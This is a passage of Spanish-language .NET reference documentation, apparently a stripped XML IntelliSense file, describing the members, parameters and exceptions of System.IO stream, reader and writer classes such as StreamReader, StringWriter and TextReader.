derivada, obtiene un valor que indica si la secuencia actual admite búsquedas. + true si la secuencia admite búsquedas; en caso contrario, false. + 1 + + + Obtiene un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + Un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + 2 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 1 + + + Lee los bytes de la secuencia actual y los escribe en otra secuencia de destino. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee todos los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer y el token de cancelación especificados. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera todos los recursos usados por . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, borra todos los búferes de esta secuencia y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Se produce un error de E/S. + 2 + + + Borra asincrónicamente todos los búferes de esta secuencia y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Borra asincrónicamente todos los búferes del flujo actual, hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + Se ha eliminado la secuencia. + + + Cuando se reemplaza en una clase derivada, obtiene la longitud en bytes de la secuencia. + Un valor Long que representa la longitud de la secuencia en bytes. + Una clase derivada de Stream no admite la búsqueda. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Stream sin memoria auxiliar. + 1 + + + Cuando se reemplaza en una clase derivada, se obtiene o se establece la posición dentro de la secuencia actual. + Posición actual dentro de la secuencia. + Se produce un error de E/S. + La secuencia no admite búsquedas. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se lee una secuencia de bytes en la secuencia actual y se hace avanzar la posición dentro de la secuencia el número de bytes leídos. + Número total de bytes leídos en el búfer.Puede ser menor que el número de bytes solicitado si dicho número no está disponible, o puede ser cero (0) si se alcanza el final de la secuencia. + Matriz de bytes.Cuando este método devuelve un valor, el búfer contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los bytes leídos del origen actual. + Desplazamiento en bytes de base cero de donde se comienza a almacenar los datos leídos de la secuencia actual. + Número máximo de bytes que se deben leer de la secuencia actual. + La suma de y es mayor que la longitud del búfer. + El valor de es null. + + o es negativo. + Se produce un error de E/S. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Lee asincrónicamente una secuencia de bytes de la secuencia actual y avanza la posición en esta secuencia según el número de bytes leídos. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia y hace avanzar la posición de la secuencia en un byte, o devuelve -1 si está al final de la secuencia. + Byte sin signo convertido en Int32,o bien -1 si está al final de la secuencia. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Cuando se reemplaza en una clase derivada, se establece la posición dentro de la secuencia actual. + La nueva posición dentro de la secuencia actual. + Desplazamiento de bytes relacionado con el parámetro . + Valor de tipo que indica el punto de referencia utilizado para obtener la nueva posición. + Se produce un error de E/S. + La secuencia no admite búsquedas, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se establece la longitud de la secuencia actual. + Longitud deseada de la secuencia actual, en bytes. + Se produce un error de E/S. + La secuencia no admite operaciones de lectura ni escritura, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Cuando se reemplaza en una clase derivada, se escribe una secuencia de bytes en la secuencia actual y se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos. + Matriz de bytes.Este método copia bytes desde al flujo actual. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número de bytes que se deben escribir en la secuencia actual. + La suma de  y  es mayor que la longitud del búfer. + + es null. + + o  es negativo. + Se produjo un error de E/S, como no se puede encontrar el archivo especificado. + La secuencia no es compatible con la escritura. + + se llama después de cerrar la secuencia. + 1 + + + Escribe asincrónicamente una secuencia de bytes en la secuencia actual y avanza la posición actual en esta secuencia según el número de bytes escritos. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte a la posición actual en la secuencia y avanza la posición de la secuencia en un byte. + Byte que se debe escribir en la secuencia. + Se produce un error de E/S. + La secuencia no admite escritura o ya se encuentra cerrada. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Implementa un que lee los caracteres de una secuencia de bytes en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 1 + + + Inicializa una nueva instancia de la clase para el flujo especificado. + Secuencia que se va a leer. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada, con la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada y con la codificación de caracteres indicada. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada y la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + Tamaño mínimo de búfer. + La secuencia no admite lectura. + El valor de o es null. + + es menor o igual que cero. + + + Inicializa una nueva instancia de la clase de la secuencia especificada basada en la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer y, opcionalmente, deja abierta la secuencia. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Es true para buscar marcas de orden de byte al comienzo del archivo; en caso contrario, es false. + Tamaño mínimo de búfer. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + + + Devuelve la secuencia subyacente. + Secuencia subyacente. + 2 + + + Obtiene la codificación de caracteres que actualmente utiliza este objeto . + Codificación de caracteres que utiliza actualmente este lector.El valor puede ser diferente después de la primera llamada a cualquier método de , ya que la detección automática de la codificación no se realiza hasta la primera llamada a un método . + 2 + + + Borra el búfer interno. + 2 + + + Cierra la secuencia subyacente, libera los recursos no administrados que utiliza y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene un valor que indica si la actual posición está al final de la secuencia. + Es true si la actual posición está al final de la secuencia; en caso contrario, es false. + Se ha eliminado la secuencia subyacente. + 1 + + + Objeto en torno a una secuencia vacía. + 1 + + + Devuelve el siguiente carácter disponible pero no lo consume. + Entero que representa el siguiente carácter que se va a leer, o -1 si no hay caracteres que leer o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter de la secuencia de entrada y hace avanzar la posición de los caracteres en un carácter. + El siguiente carácter de la secuencia de entrada que se representa como un objeto , o -1 si no hay más caracteres disponibles. + Se produce un error de E/S. + 1 + + + Lee un máximo especificado de caracteres de la secuencia actual en un búfer, comenzando en el índice especificado. + Número de caracteres leídos. Si se llega al final de la secuencia y no se leyó ningún dato es 0.El número será menor o igual que el parámetro , dependiendo de si los datos están disponibles dentro de la secuencia. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Índice de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + La longitud del búfer menos es menor que . + El valor de es null. + + o es negativo. + Se produce un error de E/S, como el cierre de la secuencia. + 1 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , dependiendo de si se han leído todos los caracteres de entrada. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + + o es negativo. + El se cierra. + Error de E/S. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Línea siguiente de la secuencia de entrada, o null si se alcanza el final de la secuencia de entrada. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente de la secuencia, o es null si se han leído todos los caracteres. + El número de caracteres en la siguiente línea es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la secuencia. + Resto de la secuencia, como una cadena, desde la posición actual hasta el final.Si la posición actual se encuentra al final de la secuencia, devuelve una cadena vacía (""). + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la secuencia y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la secuencia. + El número de caracteres es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir los caracteres de una secuencia en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el fuente de referencia de. + 1 + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación UTF-8 y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + No se puede escribir en . + + is null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación especificada y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + + o es null. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y el tamaño de búfer especificados. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y tamaño de búfer especificados y, opcionalmente deja abierta la secuencia. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Obtiene o establece un valor que indica si vaciará su búfer en la secuencia subyacente después de cada llamada a . + Es true para que vacíe su búfer; en caso contrario, es false. + 1 + + + Obtiene la secuencia subyacente que interactúa con una memoria auxiliar. + Secuencia en la que escribe este StreamWriter. + 2 + + + Libera los recursos no administrados que usa y, de forma opcional, libera los recursos administrados. + truepara liberar los recursos administrados y no administrados; false para liberar únicamente los recursos no administrados. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + + + Obtiene el donde se escribe el resultado. + + especificado en el constructor para la instancia actual o si no se ha especificado una codificación. + 2 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en la secuencia subyacente. + El sistema de escritura actual está cerrado. + Se produjo un error de E/S. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + 1 + + + Borra todos los búferes para esta secuencia de forma asincrónica y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Proporciona un StreamWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe un carácter en la secuencia. + Carácter que se va a escribir en la secuencia. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una matriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir.Si es null, no se escribe nada. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una submatriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una cadena en la secuencia. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comienza la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Implementa que lee en una cadena. + 2 + + + Inicializa una nueva instancia de la clase que lee en la cadena especificada. + Cadena en la que debe inicializarse. + El parámetro es null. + + + Libera los recursos no administrados que utiliza la clase y, opcionalmente, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Devuelve el siguiente carácter disponible pero no lo consume. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + El sistema de lectura actual está cerrado. + 2 + + + Lee el siguiente carácter de la cadena de entrada y hace avanzar la posición de los caracteres en un carácter. + Siguiente carácter de la cadena subyacente, o -1 si no hay más caracteres disponibles. + El sistema de lectura actual está cerrado. + 2 + + + Lee un bloque de caracteres de la cadena de entrada y hace avanzar la posición de los caracteres en . + Número total de caracteres leídos en el búfer.Puede ser menor que el número de caracteres solicitado si dicho número de caracteres no está disponible, o puede ser cero si se alcanza el final de la cadena subyacente. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Índice inicial del búfer. + Número de caracteres que se va a leer. + + es null. + La longitud del búfer menos es menor que . + + o son negativos. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Línea siguiente de la cadena actual, o null si se alcanza el final de la cadena. + El sistema de lectura actual está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + 2 + + + Lee de forma asincrónica una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de cadenas, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Contenido desde la posición actual hasta el final de la cadena subyacente. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la cadena. + El número de caracteres es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir información en una cadena.La información se almacena en el subyacente. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Inicializa una nueva instancia de la clase que escribe en el especificado. + Objeto StringBuilder en el que se va a escribir. + + es null. + + + Inicializa una nueva instancia de la clase que escribe en el especificado y tiene el control de formato especificado. + Objeto StringBuilder en el que se va a escribir. + Objeto que controla las operaciones de formato. + + es null. + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene el donde se escribe el resultado. + Encoding donde se escribe el resultado. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + + + Devuelve el subyacente. + Objeto StringBuilder subyacente. + 2 + + + Devuelve una cadena que contiene los caracteres escritos hasta el momento en el StringWriter actual. + Cadena que contiene los caracteres escritos en el StringWriter actual. + 2 + + + Escribe un carácter en la cadena. + Carácter que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe una submatriz de caracteres en la cadena. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + + o son negativos. + ( + ) > .Length. + El sistema de escritura está cerrado. + 2 + + + Escribe una cadena en la cadena actual. + Cadena que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe un carácter en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena actual de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica de línea en la cadena. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la cadena actual. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Representa un lector que puede leer una serie secuencial de caracteres. + 2 + + + Inicializa una nueva instancia de la clase . + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true si se van a liberar los recursos administrados y no administrados; es false si se van a liberar únicamente los recursos no administrados. + + + Proporciona un TextReader sin datos del que leer. + 1 + + + Lee el siguiente carácter sin modificar el estado del sistema de lectura o el origen del carácter.Devuelve el siguiente carácter disponible sin leerlo realmente del lector. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si el lector no admite la operación de búsqueda. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter en el lector de texto y hace avanzar la posición de los caracteres en un carácter. + Carácter siguiente del lector de texto o -1 si no hay más caracteres disponibles.La implementación predeterminada devuelve -1. + El objeto está cerrado. + 